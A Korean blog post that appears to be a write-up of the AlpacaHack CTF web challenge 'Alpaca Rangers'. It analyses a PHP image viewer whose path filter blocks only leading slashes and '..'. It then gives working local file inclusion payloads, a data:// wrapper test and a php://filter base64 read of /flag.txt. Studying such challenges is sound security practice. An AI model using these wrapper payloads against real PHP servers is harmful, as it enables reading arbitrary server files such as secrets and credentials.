Alpaca Rangers

2026. 3. 3. 15:33·Alpacahack
반응형

문제설명

Topic: LFI

분야: Web

난이도: Medium

Hero of Justice, Alpaca Rangers!


코드분석

<?php

$publicDir = realpath(__DIR__) ?: __DIR__;
$targetPath = $_GET['img'] ?? '';
$errorMessage = '';
$dataUri = '';

if ($targetPath !== '') {
    if (str_starts_with($targetPath, '/') || str_starts_with($targetPath, '\\') || str_contains($targetPath, '..')) {
        $errorMessage = 'Invalid path.';
    } else {
        $contents = @file_get_contents($targetPath);
        if ($contents === false) {
            $errorMessage = 'Not found.';
        } else {
            $finfo = new finfo(FILEINFO_MIME_TYPE);
            $mimeType = $finfo->buffer($contents) ?: 'application/octet-stream';

            $dataUri = 'data:' . $mimeType . ';base64,' . base64_encode($contents);
        }

    }
}
?>
  • URL의 ?img= ... 값을 가져옴 없으면 공백
  • img의 값이 있을 때 수행
    • / 또는 \\로 시작하면 차단, ..이 포함되어도 차단 → 차단할때 에러메시지 출력
    • 사용자 입력 경로의 파일 내용을 읽음 @는 에러메시지를 숨김
    • 만약 파일 읽기 실패 시 not found 출력
    • 파일 내용을 base64로 인코딩해서 data: URL 문자열로 만듦
      결과적으로 브라우저는 서버 파일 내용을 <img src="data: ...">로 렌더링
<?php if ($errorMessage !== ''): ?>
        <p class="error"><?= htmlspecialchars($errorMessage, ENT_QUOTES | ENT_HTML5) ?></p>
    <?php endif; ?>

    <?php if ($dataUri !== ''): ?>
        <figure>
            <img src="<?= $dataUri ?>" alt="<?= htmlspecialchars($targetPath, ENT_QUOTES | ENT_HTML5) ?>" />
            <figcaption><?= htmlspecialchars($targetPath, ENT_QUOTES | ENT_HTML5) ?></figcaption>
        </figure>
    <?php endif; ?>
  • htmlspecialchars()로 XSS 차단
  • 데이터가 있으면 <img src ="<?= $dataUri ?>">로 화면에 표시

취약점분석

  • /, \\, .. 만 막음
  • 사용자가 입력한 파일 경로를 그대로 읽음
  • stream wrapper 기반 우회 가능성

익스플로잇

먼저 wrapper가 가능한지 테스트를 하기 위해

?img=data://text/plain,hello

URL에 다음과 같은 코드를 삽입해 준다.

정상적으로 작동하는 것을 확인

?img=php://filter/convert.base64-encode/resource=/flag.txt
  • /flag.txt의 내용을 base64로 인코딩해서 가져오라는 뜻

다음과 같은 페이로드를 작성해주면

인코딩 된 상태로 파일내용을 가져오는 것을 알 수 있음

 

총인코딩을 2번 거쳤으므로 디코딩을 2번 해주면

반응형

'Alpacahack' 카테고리의 다른 글

Alert my Flag  (0) 2026.03.05
Rock Paper Scissors Lizard Spock  (0) 2026.03.03
omikuji  (0) 2026.02.23
Emojify  (0) 2026.02.20
Log Viewer  (0) 2026.02.20
'Alpacahack' 카테고리의 다른 글
  • Alert my Flag
  • Rock Paper Scissors Lizard Spock
  • omikuji
  • Emojify
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    alpacahack
    hacking
    web
    JavaScript
    webstudy
    드림핵
    webhacking
    DreamHack
    CSRF
    cve
    JS
    xss
    LLM
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Alpaca Rangers
상단으로

티스토리툴바